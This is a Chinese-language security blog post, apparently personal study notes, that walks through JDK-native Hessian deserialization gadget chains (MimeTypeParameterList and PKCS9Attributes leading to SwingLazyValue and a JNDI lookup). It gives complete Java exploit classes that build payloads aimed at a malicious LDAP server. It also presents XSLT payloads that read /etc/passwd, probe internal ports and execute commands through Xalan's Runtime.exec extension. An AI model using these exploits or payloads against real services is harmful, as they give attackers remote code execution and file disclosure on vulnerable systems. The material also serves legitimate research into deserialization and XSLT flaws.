水一下博客,之前这篇写在本地了,现在放到博客方便用的时候看,因为前面nacos的时候用到了一些

这两条链子都是基于原生jdk的,不需要其他依赖

MultiUIDefaults利用链

链子

javax.swing.MultiUIDefaults.toString
UIDefaults.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue
SwingLazyValue.createValue
javax.naming.InitialContext.doLookup()

toString的触发利用Hessian的异常toString来触发即可

这个链是从 MultiUIDefaults 的 toString 方法开始,一路调用到 SwingLazyValue 的 createValue(但是SwingLazyValue 好像在 jdk8 之后删了)

流程分析

那就开始分析利用链,从createValue方法开始

public Object createValue(final UIDefaults table) {
try {
ReflectUtil.checkPackageAccess(className);
Class<?> c = Class.forName(className, true, null);
if (methodName != null) {
Class[] types = getClassArray(args);
Method m = c.getMethod(methodName, types);
makeAccessible(m);
return m.invoke(c, args);
} else {
Class[] types = getClassArray(args);
Constructor constructor = c.getConstructor(types);
makeAccessible(constructor);
return constructor.newInstance(args);
}
} catch (Exception e) {
// Ideally we would throw an exception, unfortunately
// often times there are errors as an initial look and
// feel is loaded before one can be switched. Perhaps a
// flag should be added for debugging, so that if true
// the exception would be thrown.
}
return null;
}

在这里调用了Class.forName,也就是可以类的静态代码块代码

然后这里使用的 getMethod 和 getConstructor 都只能获取到 public 方法,而 invoke 的第一个参数是一个 class 而不是对象实例,所以这里的效果就是可以调用任意 public 的 static 方法,所以最后可以打jndi,利用InitialContext.doLookup()静态方法

然后也是网上找引用,到UIDefaults.getFromHashTable这里

image-20241127162219555

这个value是通过get键的值获取的

private Object getFromHashtable(final Object key) {
/* Quickly handle the common case, without grabbing
* a lock.
*/
Object value = super.get(key);
if ((value != PENDING) &&
!(value instanceof ActiveValue) &&
!(value instanceof LazyValue)) {
return value;
}

UIDefaults这个类本身就是继承Hashtable的,所以我们传的这个value还需要是LazyValue的实例,而SwingLazyValue就实现了LazyValue接口

image-20241127172000151

然后UIDefaults.get方法

public Object get(Object key) {
Object value = getFromHashtable( key );
return (value != null) ? value : getFromResourceBundle(key, null);
}

然后MultiUIDefaults#toString方法

@Override
public synchronized String toString() {
StringBuffer buf = new StringBuffer();
buf.append("{");
Enumeration keys = keys();
while (keys.hasMoreElements()) {
Object key = keys.nextElement();
buf.append(key + "=" + get(key) + ", ");
}
int length = buf.length();
if (length > 1) {
buf.delete(length-2, length);
}
buf.append("}");
return buf.toString();
}

但是这个链子用不了,根据文章说这是从xstream的历史链中参考来的

xstream的历史链如下,https://x-stream.github.io/CVE-2021-21346.html

Rdn$RdnEntry#compareTo->
XString#equal->
MultiUIDefaults#toString->
UIDefaults#get->
UIDefaults#getFromHashTable->
UIDefaults$LazyValue#createValue->
SwingLazyValue#createValue->
InitialContext#doLookup()

但更离谱的是我是连MultiUIDefaults这个类都创建不了的,而且看了MultiUIDefaults这个类,构造方法也是public的啊,怪了

image-20241127164823491

他们的用不了反序列化报错是这样的

java.lang.IllegalAccessException: Class com.caucho.hessian.io.MapDeserializer can not access a member of class javax.swing.MultiUIDefaults with modifiers "public"

喔原来是作用域的问题,因为该类没有修饰符,所以只能在javax.swing包内访问,那么Hessian就没有办法反序列化这个类了,因为Hessian2 拿到了构造器,但是没有 setAccessable,newInstance 就没有权限

所以MultiUIDefaults这个类得换一下,找个平替

要找类需要是 public 的,构造器也是 public 的,构造器的参数个数不要紧,hessian2 会自动挨个测试构造器直到成功

然后是找到这个类MimeTypeParameterList

public String toString() {
StringBuffer buffer = new StringBuffer();
buffer.ensureCapacity(this.parameters.size() * 16);
Enumeration keys = this.parameters.keys();

while(keys.hasMoreElements()) {
String key = (String)keys.nextElement();
buffer.append("; ");
buffer.append(key);
buffer.append('=');
buffer.append(quote((String)this.parameters.get(key)));
}

return buffer.toString();
}

这个parameters属性就是一个Hashtable

image-20241127170703885

现在链子如下:

MimeTypeParameterList.toString
UIDefaults.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue
SwingLazyValue.createValue
javax.naming.InitialContext.doLookup()

exp编写

那就可以编写异常触发toString的exp了

package org.clown.exp;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;

public class MimeTypeParameterListExp {
public static byte[] Hessian2_Serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessian2Output.setSerializerFactory(serializerFactory);
hessian2Output.writeObject(o);
hessian2Output.flushBuffer();
return baos.toByteArray();
}

public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
public static void setField(Object o, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field declaredField = o.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(o, value);
}
public static void main(String[] args) throws Exception{
//构造恶意类
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
UIDefaults uiDefaults = new UIDefaults();
SwingLazyValue swingLazyValue = new SwingLazyValue("javax.naming.InitialContext","doLookup",new Object[]{"ldap://127.0.0.1:8085/TaeXQxXj"});
uiDefaults.put("clown",swingLazyValue);
setField(mimeTypeParameterList,"parameters",uiDefaults);

byte[] data = Hessian2_Serial(mimeTypeParameterList);

byte[] poc = new byte[data.length + 1];
System.arraycopy(new byte[]{67}, 0, poc, 0, 1); //先将第一个字节复制为67
System.arraycopy(data, 0, poc, 1, data.length); //然后将data复制到后面
Hessian2_Deserial(poc);
}
}

用yaki起了一个恶意ldap服务

image-20241127173030719

image-20241127173045646

PKCS9Attributes利用链

这是另一条利用链,说是在nacos的raft反序列化中出现过,到时候看看

PKCS9Attributes#toString->
PKCS9Attributes#getAttribute->
UIDefaults#get->
UIDefaults#getFromHashTable->
UIDefaults$LazyValue#createValue->
SwingLazyValue#createValue->
InitialContext#doLookup()

这里后面的部分也没有变化,只是前面触发get方法的地方变了,简单看看

PKCS9Attributes#toString

public String toString() {
StringBuffer buf = new StringBuffer(200);
buf.append("PKCS9 Attributes: [\n\t");

ObjectIdentifier oid;
PKCS9Attribute value;

boolean first = true;
for (int i = 1; i < PKCS9Attribute.PKCS9_OIDS.length; i++) {
value = getAttribute(PKCS9Attribute.PKCS9_OIDS[i]);

if (value == null) continue;

// we have a value; print it
if (first)
first = false;
else
buf.append(";\n\t");

buf.append(value.toString());
}

buf.append("\n\t] (end PKCS9 Attributes)");

return buf.toString();
}

这里遍历PKCS9_OIDS,PKCS9_OIDS是ObjectIdentifier类数组

image-20241127192307756

然后调用getAttribute方法

public PKCS9Attribute getAttribute(ObjectIdentifier oid) {
return attributes.get(oid);
}

然后调用get方法,这里的attributes是一个Hashtable

image-20241127192511001

那就直接写一个exp出来可以

package org.clown.exp;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;

public class PKCS9AttributesExp {
public static byte[] Hessian2_Serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessian2Output.setSerializerFactory(serializerFactory);
hessian2Output.writeObject(o);
hessian2Output.flushBuffer();
return baos.toByteArray();
}

public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
public static void setField(Object o, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field declaredField = o.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(o, value);
}
public static void main(String[] args) throws Exception{
//构造恶意类
PKCS9Attributes pkcs9Attributes = new PKCS9Attributes(new PKCS9Attribute[]{});
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.CONTENT_TYPE_OID, new SwingLazyValue("javax.naming.InitialContext","doLookup",new Object[]{"ldap://127.0.0.1:8085/TaeXQxXj"}));
setField(pkcs9Attributes,"attributes",uiDefaults);

byte[] data = Hessian2_Serial(pkcs9Attributes);

byte[] poc = new byte[data.length + 1];
System.arraycopy(new byte[]{67}, 0, poc, 0, 1); //先将第一个字节复制为67
System.arraycopy(data, 0, poc, 1, data.length); //然后将data复制到后面
Hessian2_Deserial(poc);
}
}

image-20241127193819235

然后这里有一个小知识点,我这里一开始很好奇,为什么我可以强制修改PKCS9Attributes的attributes属性,明明泛型都不一样,问了一下通灵义码,解释如下

Java 的泛型在运行时会被擦除,因此在运行时不会检查泛型类型。这就是为什么你可以通过反射将 UIDefaults 设置为 attributes 字段而没有立即抛出错误的原因

原来如此

而且这个gadget在jdk8可以通杀,因为是原生的链子的,可用性非常高

XSLT代码执行

这里拉在一起学了,因为用hessian打内存马的时候用到了

看这篇文章:https://xz.aliyun.com/t/15670?u_atoken=4522326c1b0eeaa26f519f65d9e58254&u_asig=0a472f5217326934441316160e013b

XSLT介绍

XSLT(Extensible Stylesheet Language Transformations,可扩展样式表语言转换)是一种用于将XML文档转换成HTML、文本、或其他XML文档的语言。它基于XPath和XSL,是W3C(万维网联盟)定义的一个标准。

基本语法:

xsl:stylesheet:根元素,定义了转换的基本信息,如版本号和命名空间。
xsl:template:定义转换模板,可以包含匹配模式和模板规则。
xsl:for-each:用于迭代XML文档中的节点集合。
xsl:if、xsl:choose、xsl:when:条件语句,用于基于条件选择不同的转换路径。
xsl:value-of:用于输出XML节点的文本内容。
xsl:variable:定义变量,用于存储和重用转换过程中的数据。
xsl:param:定义参数,允许在调用模板时传递参数。
xsl:include、xsl:import:用于包含或导入其他XSLT样式表。

具体的可以去看一下菜鸟:https://www.runoob.com/xsl/xsl-tutorial.html

恶意利用

xslt是有一些函数的,其中一些函数或者标签是我们能够利用的,可以去翻看官方文档

system-property()

这个函数可以用来返回系统属性的值。

语法

system-property(name)

相关描述

xsl:version,一个数字,表示处理器实现的XSLT版本;对于实现本文档指定的XSLT版本的XSLT处理器,这是数字1.0
xsl:vendor,一个标识XSLT处理器供应商的字符串
xsl:vendor-url,一个包含标识XSLT处理器供应商的url的字符串;通常,这是供应商网站的主页。

用法

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:value-of select="system-property('xsl:vendor')"/>
</xsl:template>
</xsl:stylesheet>

document()

用于访问外部 XML 文档中的节点。

因为他的传参为URI

document( URI [,node-set] )

所以可以读取文件

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:copy-of select="document('/etc/passwd')"/>
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>

也可以端口探测

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:copy-of select="document('http://172.16.132.1:25')"/>
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>

RCE

这一部分是比较重要的了,它可以任意命令执行

xslt处理器如果不禁用,能将本机的java语言方法暴露为XSLT函数,导致任意代码执行漏洞

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>

执行逻辑解释

<xsl:variable name="rtobject" select="rt:getRuntime()"/>:创建了一个变量rtobject,它调用Runtime.getRuntime()方法来获取当前Java应用程序的运行时环境。

<xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>:创建了一个变量process,它调用Runtime.exec()方法来执行系统命令ls(在Unix/Linux系统中列出目录内容)。

<xsl:variable name="processString" select="ob:toString($process)"/>:创建了一个变量processString,它将process对象转换为字符串。

<xsl:value-of select="$processString"/>:输出processString变量的值,即ls命令的输出结果。

参考

https://h4cking2thegate.github.io/posts/48198/#PKCS9Attributes

https://xz.aliyun.com/t/11732?u_atoken=2f8cf1aa195092bd55fd48ca5c229089&u_asig=1a0c39d517326969518455856e0045

https://xz.aliyun.com/t/15670?u_atoken=4522326c1b0eeaa26f519f65d9e58254&u_asig=0a472f5217326934441316160e013b